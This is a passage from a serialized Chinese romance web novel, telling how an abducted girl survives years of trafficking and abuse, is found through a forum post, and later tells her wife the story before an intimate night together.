车在加油,他想起家里冰箱空了,打算去买点东西。 拉着女儿一起去加油站远侧的便利店。 孔郁琛单独带孩子的次数非常少,脑子里没有那根弦。 这个距离可以打电话,他一边打着工作电话,一边去货架上拿东西,问女儿想吃哪款小零食。 这便松开了女儿的手。 他无法想到,自这一松开,再握住竟是七年后。 把林棘想吃的面包拿下,放入购物筐,和电话那头的股东没好气地对骂了几句,挂断电话,想拉着女儿去结账。 转头,林棘不见了。 孔郁琛把手机放入口袋,喊了几声,一排排货架找过去,没有人应他。 整个超市、外面的加油站,疯狂走了一大圈,走得浑身汗,依旧没能发现女儿的踪迹。 孔郁琛又冲回便利店,问老板看没看到她女儿。 老板事不关己地靠在椅子上扇扇子,指了一下后门说: “是不是孩子贪玩,从那儿跑了?” 不会,女儿性格稳重,没什么玩性,从不会乱跑。 孔郁琛都忘了自己有没有回答这句话,直接冲到了后门。 这是个不显眼的后门,距离刚才的货架是个直线距离。 此刻已经关上了。 孔郁琛打开后门,面对着便利店进货的乌黑小巷。 路上满是凌乱的脚印,散发着夏夜独有的气味。 犹如一张黑色的嘴,吞噬了他的孩子。 报警,心急如焚地打电话。 天眼还没全面普及的年代,拐卖事件频发。 公认的事,一旦孩子走丢,想要找回来比登天难。 林雪泊听到消息赶回到J城时,人都是呆愣的状态。 看到失魂落魄的丈夫,怒从心起,一巴掌抽在他头上。 “我就让你带一次孩子,你就把她弄丢了。” 林雪泊浑身发抖,喉咙里都是血味。 面对妻子的责问,孔郁琛半个字都说不出来,垂着头发乱糟糟的脑袋,一个劲打电话。 亲近的家人和好友赶来了,乔槿看林雪泊的状态怕她碱中毒,带她坐到一旁,让她喝些水,帮她调整呼吸。 林雪泊看似还有理智,也在打电话,实则手抖得无法自控。 林雪泊和孔郁琛在整个J城绕着找,再扩散到其他城市,走遍整个大地。 不眠不休,花了数不清的钱。 乔槿一直陪着她,跟她轮换着开车,每条小巷子都钻过,每个可疑的地方都摸排过,所有线索都满怀希望去寻过。 换回的只是一次比一次更深的绝望。 奶奶在听说孙女走失的消息时,第一时间确定是那晚自己让她来家里过生日导致的。 深深的内疚情绪扎根在奶奶心底。随着线索越来越少,时间越来越长,所有人都知道孩子回家的希望很渺茫了。 即便林雪泊没跟她说过埋怨的话,奶奶也在无限的自责中,在年底的第二场大雪后过世了。 那一年,林雪泊的事业几乎因为这毁灭性的打击而停滞。 日夜思念着女儿,一夜白头。 是乔槿为她东奔西跑,和一众亲朋将她撑了起来。 乔槿帮她染发,陪她说话,一个电话就飞到几千公里之外的地方寻找线索。 即便如此,依旧没有任何关于林棘的消息。 人类的双腿,无法丈量动态的大地。 “她没了。” 某日破晓时分,蜷缩在沙发上的林雪泊看着初升的太阳,红肿不堪的双眼已经流不出泪了。 像在对自己说,也像在对陪着她的乔槿说。 “我女儿没了。” 在全家人陷入极端的痛苦时,距离J城一千多公里的某个山区小村子的黑暗柴房中,紧抱着肮脏小兔子玩偶的林棘,又一次因饥饿昏迷。 买了她的这家人,是想把她当童养媳和劳动力养着,养大了嫁给残疾的儿子。 让她忘记自己是谁,摧毁过往的人生,用一切手段清洗她逃走的意志,是最最开始就要做的事。 刚被送到这户人家时,他们给林棘起了个名字,叫小梨。 让她喊他们爸爸妈妈。 林棘看都没看他们一眼,只蜷起身子紧抱住怀里的玩偶。 自然挨了顿毒打,被关到柴房。 什么时候愿意叫爸妈了,什么时候再给她吃的。 没想到撑到了第五天,脱水和饥饿已经让她昏迷,她还是不愿意改口。 性子倔得要命。 这家女主人给她灌了些水,继续饿着。 看谁能熬过谁。 短暂的清醒时分,林棘摸摸空荡荡的脖子,想起奶奶送给她的青黄玉龙凤佩已经被拐走她的人贩子扯走了。 不是没试过趁着夜晚逃走。 她知道自己年纪小,体力弱,又对周遭完全不熟悉,能顺利逃走的概率非常低。 而柴房所有窗户都被钉上了木板,无法逃脱,也无法观察外面的环境。 只能趁着夜里,那一家三口熟睡的时候,用柴房里的木头去撬窗户的木板。 不发出大动静,不吵醒屋里人。 她很有耐心也很聪明,每天只撬一点点。 这一切都需要体力支撑。 长久没进食的她,动一动就心跳加速,胃里灼烧得难受,干呕连连,手根本抬不起来。 逃离的计划进展非常缓慢,但起码在一点点推进。 只是,终究是被发现了。 就在那夜她差一点跳窗逃走时,被同村的人发现,抓了回来。 换回几天都站不起来的遍体鳞伤。 那日之后,她被关进更小的柴房。 小到堆满了柴火,挤得她根本无法展开四肢。 没有窗,只有很高的位置凿了几个透气的孔。 黑暗的屋外还多了两只比她体型还大的狗。 只要她一发出动静,狗便撕心裂肺地狂吠,那对夫妻听到立刻进屋,没有任何理由直接痛下狠手。 之后但凡听到狗叫,即便还没遭到毒手,记忆也会一瞬间唤醒剧烈的皮肉之痛。 她对狗的恐惧,就是那时埋下的。 在暗无天日的逼仄柴房中忍受着极端的身心折磨,唯有怀里毛茸茸的肮脏玩偶,能给她一点点的安慰。 可惜后来那只可爱的垂耳兔玩偶,还是被丢了。 她只能抱着自己。 濒死的幻觉里,她回到了家人的怀抱,睡在家中温暖洁净的床上,被妈妈和爸爸带着在一望无际的草原上吹着清爽的风。 甚至回到了温暖的海岛,牵着妹妹的手,走在面粉般细软的沙滩上。 妹妹困了,就要她抱。 她抱起妹妹,亲亲额头,不舍地说,我很快就会回来找你。 等我,等等我…… 是在腹部的剧烈抽筋中惊醒的。 所有美好的幻觉消失,眼前只有恐怖的黑暗,让她无法伸展手臂和腿的憋闷和狭窄。 见她性子这么烈,宁愿饿死也不肯改口,夫妻俩都有点无措。 到底是花大价钱买来的,要是真饿死了就亏大了。 只能给了点食物和水。 每次只给一点点,勉强能维持她不死的分量。 同龄的孩子在明亮的教室里,家人朋友的陪伴下,或专注或散漫地学习着,成长着。 而林棘则在那间充满霉味,根本打不开四肢的幽闭房间里,在生与死那条窄窄的界限上,痛苦地体悟着。 某日清晨,她敲响了柴房的门。 她改口了。 只有学会伪装才能活下去。 保住这条命,才有希望离开让她窒息的狭小空间,才能再走进开阔的阳光下,再见到她思念的人。 从那日起,她被允许到柴房之外干活。 每天要做完家里所有的活,为了防止她逃走,只给最少的食物。 走到哪里都有人看着,不给她离开或者和外界联系的机会。 晚上还是睡在柴房里,让两只凶恶的狗看着。 村里有学校,这家人不让她上学,她也不在意,只是去借一些书本,如饥似渴地读着。 干活需要体力,不给吃的就干不动。 这家人总算放开了让她吃。 吃,无论如何都要吃,再难吃都要塞。 要长高,要长大,要有力量。 这些都是能逃走的必要条件。 表面上她已经改口,似乎在融入这个家庭。 但每个深夜,她会在心里一遍遍地重复真正的家人姓名,默念自己的名字,重复着J城她家的地址。 不能忘了自己是谁,不能忘了自己的家在哪里。 写着写着,想到了一个人。 多写了一个名字。 姜司意。 妹妹不知道怎么样了,现在在做什么。 要是没有在那家便利店被拐走,今年冬天也能和她在海岛相见吧。 如果她再哭,谁来抱她,谁来哄她? 心若死灰,偏偏还有无数的割舍不下。 一遍遍地写着自己的过去,写完了抹掉。 等独处的时候再写,再抹。 那些属于她的,她珍视的一切,逼着自己一一刻入生命里,永远不要忘记。 年纪小小的女孩学会了忍受,学会不动声色地蛰伏。 所有的农活都一声不吭地做完,稚嫩的手上起了水泡,变成了茧。 不哭不闹,看上去非常懂事,任劳任怨的。 只有在那残疾儿子靠近的时候,林棘才会展现恐怖的一面。 残疾儿子脑子有些问题,说不清楚话腿也不灵光,被林棘吓唬了几次后,特别怕她,看到她就躲到一旁。 即便有人监视,林棘也在默默观察着这个村子的环境和地形。 地处山窝里,很难逃。 这儿买卖人口的恶行成风,非常团结。 不要急,她告诉自己,继续等待机会,不要露出马脚。 她宽慰着自己,按捺着躁动的心。 而时间一日日过,一月月过,一年年匆匆而逝。 她依旧干着最繁累的农活,锁在逼仄的屋子里睡觉。 她盼望的机会一直没能到来。 即将十四岁的那年,林棘坐在院中,机械地用簸箕扬去谷壳。 原本低着头,不知从何处吹来一阵带花香的风,让她抬起僵木的眼。 远处走过一个去上学的小女孩,恍惚间,将她认错成了姜司意。 眼眸瞬间被动容浸染。 算一算时间,妹妹应该要上初中了。 她现在是什么样的呢…… 是不是被很多的爱围绕着?还爱不爱哭,有没有人哄她。 她还记得我吗? 我,还能再见到她吗? 略略走神,手里干活的动作慢了些,坐在另一边正在起土灶的“父亲”拎起手里烧红的火钳,直接戳向她心口。 “还想逃走?别做梦了,你这辈子没希望了。” 男人冷笑着继续起灶,根本不管火钳会给年轻的女孩落下怎样的伤。 皮肉上的痛已经让林棘麻木了。 疼痛罢了,她浑然不在意,多一个伤疤而已。 只是失落感又一次沉甸甸地蒙住她的心,一点点地凝聚成了窒息的绝望。 当时的她还不知道,那日的风和突然而至的思绪,是某种预兆。 是命运即将再一次改变的暗示。 她一直记在心上的人,向她投来渴盼已久的曙光。 【作者有话说】 林棘:今天是抱紧自己的一天[可怜] 74 第74章 ◎我永远接受你对我做的所有事。◎ 数日后,家里来了个刚到村中支教的女老师,想带林棘去上课。 家里当然不同意,说了几句后,就拿扫把把那女老师赶走了。 林棘没有多说,只是望着对方。 两人眼神有短暂的交汇。 又过了几日,入暑。 那天下午,来了两个村民,跟这家姓马的村妇说了句什么。 马村妇听完后脸色苍白,“哎哟”一声双掌用力拍在自己的腿上,火急火燎要走。 走了一半又回来,还不忘带上林棘。 一路到了河边,看地上躺着两具淹死的尸体。 正是残疾儿子和她丈夫。 儿子不小心掉水里,父亲去救,两个人一起交待了。 马村妇坐在河边哇哇大哭,走过路过的都看上两眼。 即便如此,林棘还被她揪着裤腿。 林棘没有贸然趁机逃走。 马村妇有丧事要办,肯定忙得分身乏术。 她知道这是个好机会,马村妇也知道,整个村都心知肚明,肯定会格外提防。 她不能在这个时候逃。 不仅没逃,还故意病倒了。 正是夏季,家里死了两个人,饭菜剩着,已经变质了。 林棘将变质的饭菜全吃了,怕不够真,无法留在医院,还从树上摘了白果,一起吃。 她记得在书中看到过,生白果含有氢氰酸毒素,吃了会中毒。 到底才十四岁,再聪明下手也难控制轻重。 变质饭菜加一堆生白果,直接让她上吐下泻,最后如愿以偿中毒昏迷。 马村妇失去了丈夫和儿子,转眼一家三口只剩下她一人。 养了这么久的童养媳,结果儿子先死了,估计已经悔得够呛。 眼下唯一不亏钱的方法就是把童养媳嫁出去换彩礼,但凡这马村妇还有点脑子,都不可能看着林棘死。 只要将她送到镇上的医院,她就有希望跟外界取得联系。 很危险,她知道。 但她得赌。 不然等丧事全都办完,马村妇得了空,一定会看她看得更牢,到时候就没有第二次机会了。 从昏迷中醒来,看到发霉的天花板,以及挂在头顶的输液瓶,虚弱的林棘嘴角泛起一丝笑意。 成功了。 她果然到了镇上的医院。 只是,到医院只成功了一半。 一定会有村子里的人跟过来看守她,不让她轻易和外界联系。 身边果然坐着一个人。 出乎意料,居然是那位姓魏的支教女老师。 魏老师刚将手里的成袋装的橘子放到桌上,温柔问她:“感觉怎么样,好点了吗?” 林棘缓缓点着头,很敏锐地发现对方的脖子上挂着一台相机。 魏老师拍拍她没有输液的那只手。 “我听说了你家里出的事。哎,节哀。如果有什么需要帮忙的,可以跟老师说。” 看守的人现在不在,有可能是看她还在昏迷,去上厕所,或者其他原因短暂离开。 能这么放松警惕,这间医院可能也有熟人。 不会去太久,看她的人可能马上就要回来,如果这时候冲出去的话,很有可能会被逮着。 而眼前这位年轻的女老师,和村民们的关系暂不可知,林棘也不想跟她说出实情。 万一她向着村子,得知林棘是被卖到这里,现在打算逃,肯定会告诉村民们。 若是她只是来支教,并不和这村子同心,知晓林棘的事后万一被村民发现,也有可能受到牵连。 最怕的是,如果把希望都寄托在她身上,而她被村民们封口,压下往外传话的机会,那筹谋了这么久的计划算是全部完蛋,还害了对方。 希望越近,越要谨慎。 有个更稳妥的法子。 让魏老师把她在此地的信息扩散出去,叫更多的人知晓。 一传十十传百,将她的事在村民们无法阻止的范围内散播得更远。 她反握住了魏老师的手,说:“魏老师,其实我……有白血病。” 一时之间只想到以前瞥过一眼的电视剧情节。 魏老师懵了,“啊?” “但是家里实在太穷了,没钱治。现在,我爸和弟弟死了……我妈更不可能给我治病了。” 林棘抽泣了两声,可怜巴巴地看着魏老师。 魏老师淳朴,也没想到这么点大的女孩会演戏,信了她,仁慈的心也跟着难受。 她自己收入也很微薄,肯定没办法承担起女孩治病的费用。 见林棘双眼放空地瞧着她带去采风的相机,忽然想到一个好法子。 魏老师说:“小梨,老师给你拍张照吧?把你的情况放到网络论坛上,看看有没有好心人愿意为你捐款治病。我还认识一个电视台爱心驿站栏目组的编导,可以把你的事告诉他们,让他们为你宣传一下。” 林棘最想要的结果正是这个。 “好!那麻烦魏老师了。” 魏老师对着她按下快门。 魏老师刚刚拍完,病房门口就快步走进来一个中年男人。 林棘认得他,他是马村妇的弟弟,哑巴,干瘪矮小,却是一身的戾气。 他就是来负责看着林棘的。 男人警惕地盯着魏老师,魏老师被他可怕的模样弄得有点害怕。 林棘:“魏老师,谢谢你来看我。但是我没钱去学校,以后你也不用来了。橘子我不吃了,你带回去给同学们吧。” 这句话是在保护她,打消男人的怀疑,也暗示她快点走。 魏老师笑了笑,还是把橘子留下,之后就离开了。 那哑巴觉得林棘在捣鬼,跟这儿的某个护士比划了什么后走了。 护士就坐在不远处的护士站里看着她。 果然有熟人。 林棘什么也不再做了。 食物中毒的症状没过去,其实难受得很。 魏老师一走,她发现自己后背上早就蒙了一层冷汗,胃里翻江倒海的,只能闭眼昏睡。 第二天她就被马村妇和哑巴弟弟接了回去。 还有呕吐的症状,整个人昏昏沉沉一动就想吐,极度不舒服,还得去干活。 林棘勉强撑着身子,一心盼望着有人能看到那个帖子,扩散出去。 渴望着家人能看到,能认出她来。 可次日,她听到了一个绝望的消息。 魏老师的确帮她在论坛上发了求助帖,但很快被马村妇一家找上门,逼着她删贴。 感觉生命受到威胁,魏老师当天下午就请了假,暂时离开了村子。 后来很长一段时间没再见过魏老师。 算了算,论坛上求助贴最多只存在了两天。 是什么论坛,有多少人会看到,又有几个人会在意呢? 和林棘想的一样,丧事办完,马村妇几乎是日夜和她待在一起,时时刻刻紧盯着她,紧盯着自己最后的摇钱树。 时间一日日地往前推,林棘的心也在一天天坠入更深的绝望深渊。 万念俱灰的她很难不去想,自己或许真的已经失去了最有可能离开此地的机会。 心底最深处,那最后一点点稀薄的渴盼,就这样悄无声息、毫不容情地被击碎了…… 话说到此处,被林棘抱在怀中的姜司意抬起头,双眼出神地回想着。 “难怪,我在那个论坛上看到帖子,才拍了张照发给我妈,晚上再去看就被删了。” 就在马村妇到处为林棘相看,想将她卖个好价钱的同时。 千里之外的J城,十一岁的姜司意再一次打了论坛里留下的电话。 还是没人接。 屈起双腿缩在沙发上,姜司意疑惑不解。 正在公司的陶绪给她回电话,问她怎么回事。 姜司意在电话里说:【我在论坛上看到一个得了白血病的妹妹,没有钱治病,好可怜的。不知道为什么那个老师的电话打不通。】 不怪姜司意估计错了林棘的年龄。 照片里的林棘非常瘦弱,看上去比同龄人要小许多,姜司意以为她比自己还小。 那时妈妈还在,家里经济条件不错,零花钱管够,姜司意从小就很慷慨,同学朋友有什么小忙,她能帮的顺手就帮。 渐渐发展成远在他乡素未谋面的小女孩,她都想要伸出援手。 陶绪说:【过段时间再打吧,可能对方忙。】 她们并不知道,魏老师离开村子后还被马村妇一大家子骚扰。 怕继续下去会有危险,魏老师换了住所,也换了手机号,姜司意自然联系不上她。 萍水相逢,还是隔着网络的匆匆一瞥。 好事做不成,换成别人可能转头就忘记了。 可姜司意就是会时不时会想起那个小梨妹妹。 想到那双望着镜头的双眼,雪亮,忧郁,渴望,说不出的牵动人心。 似乎穿透了时空,穿透了一切,望入她的心底,久久不肯离开。 那是无法用言语形容的感受。 好像不去靠近它、解决它,内心就会不安。 就会失去未可知的重要事物。 过了段时间,姜司意又去打那个电话,还是打不通,再次跟妈妈说。 陶绪正好完成了一件博物馆古董修复的工程,身体也不太好,想要在家养一养。 有了整块在家的时间,小女儿依旧念念不忘那个贫困山区的女孩,她便把姜司意当初拍下的论坛求助帖子照片拿来看。 越看越觉得……好像。 像林雪泊走丢了七年的女儿。 陶绪知道,七年来林雪泊一直没放弃寻找女儿。 再小的线索,再昂贵的价钱,再远的距离,她都不惜一切代价。 可惜,一直杳无音信。 如果现在去跟林雪泊说,看到一个生病的山区女孩跟她走丢的女儿很像,自然会再一次燃起她的希望。 可世间哪有这么凑巧的事? 找了这么多年都没找到,恐怕这次也只是空欢喜一场。 失落的感觉有多痛苦,可以感同身受。 陶绪把手机放下。 姜司意在一旁用黑溜溜的眼睛凝视着她,似乎在疑惑,妈妈怎么什么也不做? 陶绪想了想,又拿起来。 万一呢。 打算明天去找林雪泊问问看。 不是的话,也罢。 如果真是,那可不得了。 无论对孩子本身还是对这个家庭而言,都是一辈子的救赎。 陶绪打了电话给林雪泊,约了明天见面的时间。 没有母亲认不出自己爱着的孩子。 即便多年未见,即便面目已变。 林雪泊在看到求助帖的照片时,早就死去的心霎时狂颤。 电话打不通,但求助帖上除了有魏老师的电话号码,还有她的真实姓名和银行卡号。 辗转多个部门、公司,终于联系上了魏老师本人。 林雪泊、孔郁琛,亲戚密友,以及市里的警察一起冲到村子里。 远远地只看到林棘的一个侧影,林雪泊顿时泪如雨下。 林雪泊也不管周围有谁,扇那马村妇的耳光扇到自己的手指骨折。孔郁琛发疯一样和阻拦的村民缠斗。最后是警察怕闹出人命,好不容易将双方撕开。 林棘终于和家人在人间重逢。 回家后,食物中毒和这些年在恶劣环境里积累下的病痛,需要及时医治。 林雪泊一直陪伴着她为她治疗。 而孔郁琛则负责处理后续的事。 比如魏老师的安全,以及对她丰厚的恩谢。 追查最初拐走孩子的人贩子、买卖人口的罪犯们,要让他们统统绳之于法。 还有一些连林棘也不知晓的细节。 陶绪的善举,林雪泊也一直铭记在心。 她病重之时,林雪泊去找了最最权威的专家,可惜回天乏术。 之后她一心扑在女儿身心的治疗上,还不忘嘱托妹妹,好好善待姜司意。 再往后便是各自的曲折之路,时至今日殊途同归。 …… 夜里十一点。 躺在自家宽敞、洁净又柔软的双人床上。 林棘嗅着姜司意耳后散发出的温热馨香,回忆起那日在坑坑洼洼的村间土路,再次见到家人时的心情,依旧清晰如昨。 “在她们来之前,我已经绝望了。那时候,那个女人彩礼的钱都谈好了,我已经做好鱼死网破的准备。” 姜司意听着她的话,眼窝里蓄了许久的眼泪终于控制不住落下,浸湿了枕头。 回眸看身后人,湿漉漉的眼里浸满了后怕。 很多疑惑都有了答案。 为什么林棘不过生日。 为什么不喜欢坐幽闭的电梯,为什么喜欢开着灯睡觉,为什么总喜欢抚摸毛绒玩具。 连经常用的车也都是明亮宽敞的。 性格里冷淡的因素和微妙的偏差都是从何而来。 姜司意都明白了。 林棘一如既往握住她因紧绷而攥到骨节青白的手,慢慢分开,轻轻吻掉她的眼泪。 “别怕。我现在不是好好的在你眼前么。” 姜司意摇摇头。 “我不是害怕……” 是这颗心根本不受控制,跟着林棘的话越来越痛。 一想到林棘一遍遍地写着她的名字,不想忘了她,心脏便猛地紧缩,强烈的酸胀感充塞着她的身心。 一开口眼泪更多滚落。 多到林棘根本来不及吻。 小时候一哄就不哭,怎么长大哄不好了? 只好将她抱起,抽来纸巾为她慢慢拭去。 “你知道,当我收到我妈转交给我你的亲笔信,发现是你看到了论坛的帖子,是你在茫茫人海中找到我时,有多惊喜吗?很难相信,这世间居然还有这么巧的事。” 姜司意也觉得,太不可思议了。 “所以,你根本不是在国外读书……” “嗯,七年时间很长很长,也经历过无数次的失望,但我妈一直有要将我找回来的信念,也怕我回家后会因为旁人的闲言碎语遭受二次伤害,所以对外都说我在外读书。” “那,我的婚约是因为你走失,才换成别人的吗?” 林棘点点头。 “当时应该没人真的觉得我能回来吧。即便我妈她们还在努力寻找着,却也未必真的抱有多大的希望。只是作为母亲的信念在支撑着她。她之外的人更觉得不可能了,能理解。” 难怪。 姜司意总算明白,为什么自己一直都不知道最开始联姻对象是林棘这件事了。 林雪泊为了保护女儿的尊严,也为了渺茫的希望守口如瓶。 而在换了定亲对象后,多提以前的事一次,对于失去女儿的家庭来说都是多一次的伤害。 加上姜司意妈妈没过几年就过世了,知晓这件事的人就更少了。 姜骆应该是知道的,只不过他一颗心放在了新老婆和儿子身上,根本没空管此事。 姐姐呢,她和林棘差不多大,应该有这份记忆,不过以她的性格而言,自己的事都未必能记得多少,他人相关估计是非常模糊的。 林棘终于把姜司意的眼泪擦干净了。 纸是一点点沾着眼泪的,尽量不伤到姜司意脆弱的皮肤,希望明天能好受些。 只是,漂亮的大眼睛肿肿的,看上去可怜兮兮。 姜司意也不想再哭了。 本来她就不想落泪,让小佑觉得她扛不住事,太脆弱。 抽噎了几下,说:“后来、后来你到高中时才回来……” “嗯,我妈带我去国外医治了两年。那时我身体状态不太好。” “回来之后,为什么没有跟我说我最初订婚的事?” 林棘笑了笑,脑袋微偏着,头发散在肩头,在淡淡的灯光下格外温柔。 “怎么说呢,那时你身边有了别人,还那么怕我。对你而言,我只是个奇怪的转学学姐,一个陌生人。而且我各方面的状态依旧不怎么好。还不太会说话,不懂和人相处,可能会在无意间伤害到你的。” 无法想象当时林棘是什么样的心情。 有多难过,多委屈。 姜司意回忆着。 “你是不是,有想跟我说过什么?” 林棘转学回来的第一天,姜司意好像就见过她。 林棘目光沉了沉,说:“嗯……那天,其实是想见你。以任何身份都还好。” 有从妈妈那边看过一些姜司意的照片。 出国治疗前也在那间小公园里偷偷见过她一面。 长大后正式的见面,还是第一次。 想见妹妹。 哪怕已经不是她的未婚妻了。 即便只是现任未婚妻的表姐,都好。 只是想见她。 林棘记得那天,她忐忑了大半日,对着镜子排演了很久,终于鼓足勇气去了姜司意的教室。 结果…… 姜司意当然记得。 “结果,我回避了你。” 内疚的情绪又一次往心上涌。 林棘用轻松的口吻道:“嗯,手里的面包都吓得掉在地上。” 没能起到安慰作用,姜司意根本笑不出来,双唇发着颤,忍着哭意,最后只能紧咬住下唇。 “怎么咬自己。” 林棘皱眉,手指探进她的唇内,将她唇齿分开。 屈起的指骨挤进姜司意滚烫的双唇间,启开她的齿,轻轻往里顶着。 不让她咬自己。 可怜的下唇都落下牙印了。 被手指分开双唇的女孩,眼泪从红红的眼里一颗颗砸下来,落在林棘的手上。 林棘的指骨在她齿间,就不能再咬唇了。 唇瓣轻轻吻着手指,心动地啾着,柔软的小唇珠蹭在指侧的肌肤上,痒痒的,像小猫的眷恋。 对自己就能下重口。 对林棘,半点都不舍得。 林棘心被她弄得又酸又软。 掌心贴在她的脸侧,揉揉耳朵,再爱抚她的脑袋。 “司意,不用内疚,那时候你什么也不知道,不要为无意的过失而难过。我说过的,你对我不用道歉。任何误会,任何无心之过,甚至有心之过都行。我永远接受你对我做的所有事。” 【作者有话说】 林棘:宠妻第三十五步,永远不要责怪老婆[可怜] 75 第75章 ◎让自己就坠在林棘的手心里◎ 原本已经忍住的眼泪,被她这一句话又催了下来。 林棘帮她抚着起伏的后背。 亲亲她的额头,她的眼,她的唇。 姜司意哽咽着,眼睛一睁,眼泪又滚了好几颗下来。 林棘轻叹,只能再去抽纸。 明天眼睛得多难受。 姜司意:“……所以,名字也是接回来之后改的么?” “是。我被接回家后,我妈还在怨憎我爸,就给我改了姓,跟她姓林。为我礼佛祈福,求来一个小名——小佑。她说,能把我找回来实在太幸运,是承天保佑。我挺喜欢这个小名,但不觉得是承天保佑。” “嗯?” “和老天没什么关系。保佑我的明明是没放弃找我的家人、亲友。明明是好心的魏老师。” 林棘眸里是柔软明动的水光。 “明明是你。” 先前的内疚和亏欠,在这一刻被林*棘的话治愈了。 “小佑”这个小名,居然和她有着这么深的牵连。 姜司意脑袋顶在林棘的锁骨上,环住她的腰,也不知是把她抱入怀中,还是将自己投到她的怀里。 只想紧贴着她,交换体温,让彼此的气息渗透骨血,永远不再分离。 林棘被她顶得抬起脑袋,笑着摸摸怀中人。 一直都很内敛的妻子,今晚是难得的缠人了。 肩膀湿湿热热的,一声不吭,却哭得更凶了…… 心疼的同时,又很难抗拒姜司意的眼泪因她而落那种怪异的满足感。 伏在林棘的肩膀无声地哭着,被林棘从后脑抚到薄薄的脊背,酸涩的情绪也在一点点顺着她的手流出体外。 大概是安抚的手法太舒服,情绪慢慢归于了平静。 靠在她怀里,脑海中理了一下时间线,忽然想起了某个细节。 “我想起一件事。” 姜司意鼻音浓浓的,眼眶水红一片,却还在认真思索着。 抽噎了一声,说:“眼见为实?” 听到这四个字,林棘眸色微凝。 姜司意终于想起来了。 小时候,宋缇帮她解决问题的时候,经常会说“眼见为实”。 可,那天林棘在向她坦白“早有所图”的时候,也脱口而出了这个词。 当时她就觉得有些耳熟。 一直以为“眼见为实”是宋缇处事风格,现在结合林棘治疗回国后的时间来看,未必如此。 宋缇是在帮她解决被讨厌的男生剪头发事件后,才开始用这个词。 那个时间点,林棘刚好回国。 也是从这个时间点开始,宋缇的想法变多了,手段也非常有效,每次都能很精准地帮姜司意解决麻烦事。 只不过每回都要回家“好好想一想”,第二天再告诉她。 居然到现在才发现。 姜司意撑着林棘的肩膀,支起上身,跪在床面上。 “所以,那时候她是回家,问了你,你给了她答案?” 林棘不置可否地抬头望她。 真的很怕她再哭,都不敢开口了。 姜司意红彤彤的眼眸,往下俯视着,要一个确切的答案,这对她很重要。 “都是你,对不对,林棘?” 怕一承认她再哭。 可姜司意问她,还急出了连名带姓。 不能不回答。 只好用胳膊圈住姜司意的腰肢,下巴搁在小腹上,上下蹭了蹭,算是承认。 原来真是这样。 最后一点点疑惑也迎刃而解了。 姜司意情绪万般复杂地垂眸看着林棘。 聚在水红色眼眶里的眼泪终究还是掉了。 “原来,我这颗心从头到尾喜欢的都是你。” 恍然之后的释然,还有些懵,心口却被突然得知的真相弄得深深起伏。 睫毛沾着眼泪,湿成一簇簇的。 破碎的美感让人怦然心动,告白的话又让人一秒深深沉沦。 “一直都是你。” 林棘迷恋的双眸透过泪光,铺进姜司意的眼底。 指尖深入她后脑的发丝里,轻轻摩挲着,将她往下带。 这是想接吻的暗示,姜司意现在已经完全能读懂她的每个小细节了。 刚刚挨近,姜司意就主动张开了软唇。 热吻浓情,一触即燃。 说不定在海岛定亲的时候,在心里埋下“喜欢”这颗小种子的人,不止是林棘。 不然为什么林棘一抱她,她就不哭了呢? 为什么在看到“小梨”的那张照片时,根本不知道对方是谁的姜司意会念念不忘呢? 最最开始,她的未婚妻就是林棘。 她们居然从人生的起始,就是彼此的命中注定。 这份奇异的悸动感让姜司意心头难以抑制地发烫。 热吻缠得好深,两道柔软的女人曲线碾揉在一起,几乎要融成一体。 林棘因这主动的热吻浑身燥热,掌心都是烫的。 青涩内敛的人,一旦在沉默中主动,异常撩人心扉。 姜司意的占有欲实在太迷人。 火一般的温度箍住姜司意的腰,紧贴着皮肉和骨,扣得她闭着眼专心接吻的眉心往上轻拧,不知是痛还是太舒服。 那么细的腰,双手一合就能完全拢进手中似的。 从腰往后背上抚,抚出一阵阵轻颤。 这是姜司意第一次主动往林棘身上攀。 腿有些不确定该怎么摆才对。 被林棘用膝盖格开。 是很羞耻,可林棘这样摆弄她,她就这样迎面跪着了。 这次的晕眩感来得非常急。 姜司意眼前白茫茫的一片,圈着林棘的脖子,在她颈窝里受不住地喘。 手里的状况比前几次还要明显。 林棘的双眼都被她迷透了,将已经血红的小耳朵吮入唇中。 心脏中被甜占据,又膨胀出难以言喻的酸。 吮咬间,她在姜司意的耳畔低吟。 “能一直这样爱我吗?如此时此刻。” 不止是姜司意觉得和林棘关系是峰回路转般的不可思议,美好得像一场梦。 对林棘而言更是如此。 姜司意被她弄得战栗不止。 咬合感和情话让她立刻又有了浓浓的感觉。 腰软得要化在林棘的掌心里。 “嗯……” 滚烫的气息里哼出的声,不知是回应还是在克制不住迷乱地低喘。 直到她从迷情中回神。 “……会一直一直爱着你。” 汗水从姜司意下巴滴落,她捧起林棘的脸,让林棘看她的双眼。 虔诚的信徒,得到了神女的承诺。 “永远如此时此刻。” 永远如此时此刻。 …… 混乱漫长,尽兴到底,这是完全无法用言语形容的一夜。 姜司意算是知道林棘的体力到底有多好。 之前连续的两日三回,甚至四个小时,都不是她的极限。 今夜无眠,无眠就无眠吧。 林棘要什么,就给她什么。 之前怎么哄都羞于摆弄的姿势,今晚姜司意都默认了。 一直纵容着,让自己就坠在林棘的手心里,就让林棘的气息彻底浸透魂肉。 想属于她,想将自己的所有都刻上属于她的印记。 气息交融着,从卧室到浴室,被抵在浴室墙面上吻得发晕,脚尖离地。 之后又被抱到镜前的沙发上,面对着镜子。 明亮高清的镜面上,映着一切的占有、归属和情动。 扶着膝盖,揉弄那红唇。 指腹分开早就被弄得红红肿肿的唇瓣,探进去,碾抵着小舌。 晶亮的水沿着林棘的指缝往外溢。 受不住时,好几次都不知道口中唤着什么。 小佑、老婆,带着哭腔来回换着哼呢。 姜司意的腰间已经酸麻到失去了知觉,腿根抖到发酸。 还生怕冷落了林棘的唇,在昏昏沉沉间努力后转着脖子,和身后的女人接吻。 从来不知道可以一次次突破上限。 抱着抚爱她的人根本不知疲倦。 每次觉得不可能了,下一刻又被抱起。 很快涨起红潮,涌起澎湃的感觉。 眼前霞云弥漫,像烟花轰然炸开,之后再次归为一片白茫。 大概就是在这里失去了知觉。 梦境可想而知的乱。 零零碎碎的场景几乎都记不得了。 只记得好像梦见了林棘。 梦到了小时候的林棘,大概七八岁的样子。 姜司意自己则是成人的模样。 小林棘对她笑了一下,忽然跑了。 慌张地叫着“小佑”,她的小佑也没回头。 立刻追上去,在七扭八拐的巷子里打转,一直找不到小佑,心急如焚一遍遍地喊她的名字。 倏然一颤,醒了过来。 临近午间的阳光从窗帘的缝隙里透进。 除了姜司意的心跳,周围的一切安静平和。 意识回拢着,看到身边还处于平静睡眠状态里的林棘,成年的林棘,一颗还在快速跳动的心脏慢慢从恐慌的情绪里挣脱出来。 